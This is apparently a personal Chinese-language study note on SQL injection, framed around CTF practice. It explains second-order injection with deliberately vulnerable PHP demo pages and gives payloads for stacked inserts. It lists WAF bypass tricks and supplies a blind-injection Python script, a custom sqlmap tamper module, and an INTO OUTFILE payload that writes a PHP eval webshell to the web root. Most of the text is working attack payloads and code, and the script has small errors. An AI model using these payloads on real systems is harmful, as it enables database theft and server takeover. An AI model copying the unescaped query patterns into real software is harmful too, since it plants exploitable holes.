sql注入总结(二)--2018自我整理
0x00前言:
继上篇的内容,这章总结下二次注入,python脚本,bypass
0x01二次注入:
二次注入的原理是在把非法代码添加进数据库里面存储了,因为 \' 这种转义不会把\(反斜杠)代入到数据库中存储,然后在其他地方调用了这个非法代码并且拼接到sql语句中了
简而言之
非法代码 ==存入==> 数据库 #非法代码 \' 这种转义的只会把 ' 存入数据库 数据库中的非法代码字段 ==取出==> 后台语言中的变量中 后台语言变量的非法代码 ==代入==> sql查询语句中进行拼接
这里我手写了个建议的二次注入原理代码
插入数据页面代码input.php
<?php $conn = mysql_connect('localhost', 'root', 'root'); mysql_select_db("test", $conn); ?> <html> <head> <meta charset="utf-8"> </head> <form action="" method="post"> 用户id:<input type = "text" name="id" value="" /><br> 用户名:<input type = "text" name="username" value="" /><br> 密码:<input type = "text" name="password" value="" /><br> 邮箱:<input type ="text" name="email" value="" /><br> <input type="submit" name="submit" /> </form> </html> <?php $id = @addslashes($_POST['id']); $username = @addslashes($_POST['username']); $password = @addslashes($_POST['password']); $email = @addslashes($_POST['email']); $sql = "insert into userinfo values('$id','$username','$password','$email')"; mysql_query($sql); ?>
查询数据页面代码out.php
<?php $uid = $_GET['uid']; $conn = mysql_connect('localhost', 'root', 'root'); mysql_select_db("test", $conn); $sql = "SELECT * FROM userinfo where id='$uid'"; $result = mysql_query($sql); $ans = mysql_fetch_array($result); $username = $ans['username']; $sql2 = "SELECT * FROM userinfo where username='$username'"; $result = mysql_query($sql2); $ans = mysql_fetch_array($result); var_dump($ans);
首先查看数据库里面的数据,就2个
在input.php页面添加信息,用户名就是我们的注入代码
再看数据库,发现 \ 这个符号确实没有被代入数据库中存储
在out.php中传入get参数3,发现执行union联合查询输出的1,2,database(),4。这里我数据库名字叫做'test'
至此二次查询的原理就是这样,在ctf中曾做过一道二次查询的题目
题目攻击方式大致是通过注册,如果执行成功主页和执行失败的主页是有区别的,然后写python脚本盲注得出flag
其中用户名的代码为
'or if((length((select database()))>0),1,0) or'
代入数据库前完整代码可能是
insert into user values('id','\'or if((length((select database()))>0),1,0) or\'','password')
取出数据时候的情况即
$username = $ans['username'] #$username = 'or if((length((select database()))>0),1,0) or'
第二次拼接的情况
mysql_query("select * from user where username = ''or if((length((select database()))>0),1,0) or'' ")
那么还存在一种情况就是拼接的字段是id,但是id我们不可控,比如(当然该条件有个限制即 '(单引号) 没有被转义!!!!!!)
mysql_query("insert into userinfo values('4','$username', '$password', '$email')");
查询语句根据username取出数据库内容,再把id拼接到查询语句
$id = $ans['Id'];
mysql_query("select * from userinfo where id = $id ")
这时候我们可以控制$email参数,做到写入多组记录
si@qq.com'),('5','\' union select (database()),2,3,4 #\'','haha','haha@qq.com
可以看到一口气注册了2个账号,而5号账号是我可控的(我将源代码中input.php的addslashes给去除了)
类比下,如果只有中间的password我们可控的话
password','si@qq.com'),('5','\' union select (database()),2,3,4 #\'','haha','haha@qq.com'),('6','myname','password2 #这样会出现3组数据
或者
password','si@qq.com'),('5','\' union select (database()),2,3,4 #\'','haha #这样就出现2组数据
0x02bypass:
写bypass总有些心虚,因为自己知道的不多23333
双写绕过清空
有些waf是用preg_match将非法字符替换为空,比如
$sql = preg_match("/union|select/i", "", $sql)
它不是把你数据直接挡掉报错,而是处理后仍然通行,在有/xx/i忽视大小写可以双写
selselectect ==去掉其中的select==> sel去掉的ect ==> select
url和base64编码
其实这不怎么算bypass,但是有些书上也这么讲,这里稍微写下
在有些代码中会对参数进行base64解码,url解码等操作,如果这些操作在转义或者waf之后的话,就会逃过过滤达到注入的效果
如果在处理之前的话就没有作用啦
内敛注释
在有些在后台代码上对关键字并未过滤,但是之后会经过安全软件,再存入数据库,有时候内敛注释可以骗过安全软件
/*!union*/ #其中的union是会执行的
空格被过滤
有2中办法,通过括号或者/**/来完成不需要空格也能执行的方法
xx'/**/union/**/select/**/1,2,3,4/**/# xx'union select(1),(2),(3)#
空格有个问题,它是将参数括起来来绕过空格,但是如果2个关键字比如这里的union和select没法一个当另一个的参数,于是有时候这个方法也不灵
单引号的过滤
虽然sql注入第一步就是将单引号逃逸出来,但是有时候单引号逃逸了后会在单引号前面加些奇怪的东西,比如GBK宽字节注入
这时候可以hex编码
'内容' 等价于 0x内容的十六进制编码
'abc' = 0x616263
特别的sprintf
有些时候会用sprintf来包裹sql语句,但是sprintf这个函数有个问题在,非正常的地方输入%,会提示warning(如果没有用@禁止的话)
利用方法,用 %1$' 代替 '
' ==> %1$' %1$'or 1=1 #
关键字的绕过
在总结一中归纳了 ,(逗号) 被过滤的方法
if(exp1, exp2, exp3) => case when exp1 then exp2 else exp3 end substr(exp1, 1, 1) => substr(exp1) from 1 for 1
如果 and 和 or 被过滤了
and => &&
or => ||
如果where被过滤了
where id='1' => order by id having id='1'
如果'='被过滤了
'=' => '<>'
如果'<','>','='被过滤了,但是要设置范围
id = 1 ==> id between 1 and 1
关于json的编码
之前做18年HCTF的时候,一道简单的代码审计题,会将cookie中的值代入waf中,然后再进入数据库
关键点在于在经过waf后,它会进行json的解码。
在json解码中有个Unicode的编码问题,有兴趣大家可以百度下,我这里直接写利用方法
json编码可以用\u00xx (xx为16进制ascii码)来用Unicode来编码对应字符。如果waf在json_decode之前,那么可以通过这个方法绕过
'\u0075' ==> 'u'
0x03python脚本
sqlmap十分强大,但是就算是level5,有时候也会被特别的waf给拦截,调用它的bypass模块又记不住。这里就总结下自己怎么写盲注python脚本
import requests
url = "xxxx"
flag = ""
s = reuqests.session() #获取会话
for i in range(100): #在bool还是延时注入的时候都要一个个试,假设我们这里不知道目标字段的长度就稍微设置个合适的
for j in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_-,.": #这个是可能的字符,一个个试呗
payload = "xx' or if((substr(database())=" + str(j) + "," + str(i) + ",1),1,0) #" #手工测出来有效的payload,当然实际情况会根据waf变个型
data = {
'username':'payload',
'password':'123'
}
s.post(url,data=data) #发送数据
if "right" in s.text : #如果返回值有在sql语句成功后有不同于失败的时候的回显,将该回显当做判定
flag += str(j)
print flag
beak
那么我们在知道替换规则的情况下可以自己写sqlmap的bypass脚本
在sqlmap文件夹下的/tamper/下,自己创建个py文件
#!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): payload = payload.replace("'","%1$'") #将什么替换成什么 payload = payload.replace("u","\u0075") #将什么替换成什么,可以写很多个 return payload
在sqlmap使用的时候调用这个模块,即可使用自定义过程
sqlmap --tamper=模块名.py -u 'http://xxx.xx.xx.xx/ddd.php?id=1'
0x04将结果写入文件达到getshell
写入文件的前提是outfile这个关键字没有被禁止,并且知道web站点的绝对路径
使用方法是
xx' union select 1,2,'<?php eval($_POST[1]) ?>' into outfile '/var/www/html/sijidou.php' #
0xff结语
sql注入差不多我近一年来学到的就这些,可能还远远不够,遇到一个记一个是个笨办法,但也不失是一个好办法。